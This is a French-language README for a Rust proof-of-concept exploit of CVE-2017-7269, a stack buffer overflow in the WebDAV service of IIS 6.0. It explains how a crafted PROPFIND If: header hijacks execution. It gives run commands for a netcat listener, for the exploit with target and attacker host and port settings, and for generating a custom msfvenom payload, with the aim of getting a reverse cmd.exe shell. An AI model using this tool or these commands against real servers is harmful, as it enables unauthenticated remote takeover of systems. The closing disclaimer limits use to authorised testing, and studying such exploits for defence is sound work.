
Une implémentation Rust du POC pour CVE-2017-7269, ciblant le service WebDAV de Microsoft Internet Information Services (IIS) 6.0.
Une implémentation en Rust du POC pour CVE-2017-7269, ciblant le service WebDAV de Microsoft Internet Information Services (IIS) 6.0.
CVE-2017-7269 est une vulnérabilité critique de débordement de tampon basé sur la pile, présente dans le service WebDAV de Microsoft IIS 6.0, qui était fourni avec Windows Server 2003 R2. Une exploitation réussie permet à un attaquant non authentifié d'exécuter du code à distance sur le serveur cible.
httpext.dll (extension WebDAV d'IIS)ScStoragePathFromUrlPROPFIND spécialement conçue.If: trop long contenant plusieurs URL.La vulnérabilité est un débordement de tampon de pile classique. Elle est déclenchée lorsque la fonction ScStoragePathFromUrl traite une requête PROPFIND contenant un en-tête If: malveillant.
Cet exploit construit un tel en-tête avec une longue chaîne d'octets, ce qui fait déborder le tampon alloué sur la pile. Ce débordement écrase des données critiques de la pile, y compris l'adresse de retour sauvegardée (EIP). L'exploit détourne le flux d'exécution du programme en pointant cette adresse de retour vers un petit charge utile de shellcode initial également situé dans l'en-tête malveillant. Le rôle de ce shellcode de premier étage est de trouver et d'exécuter le payload principal, un shell inverse, qui est envoyé dans le corps de la même requête HTTP. Ce POC démontre avec succès l'exécution de code à distance en connectant un shell cmd.exe à un écouteur contrôlé par l'attaquant.
Préparez un écouteur (ajustez le port pour qu'il corresponde à --lport) :
nc -lvnp <attacker-port>
Exécutez l'exploit avec le shellcode intégré :
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
L'outil patche le shellcode WSA à la volée en utilisant LHOST/LPORT et le délivre dans le corps de la requête HTTP. Lorsque la cible est vulnérable, votre écouteur recevra un shell inverse depuis cmd.exe.
--payload)Créez un payload brut
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Délivrez le payload (pas besoin de --lhost/--lport car le shellcode encode déjà ces informations) :
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Gérez le callback dans le même écouteur que précédemment. Comme le binaire se contente de diffuser les octets fournis, le comportement exact dépend du payload que vous avez généré.
Cet outil est destiné uniquement à des fins éducatives et de tests d'intrusion autorisés. Utilisez-le de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.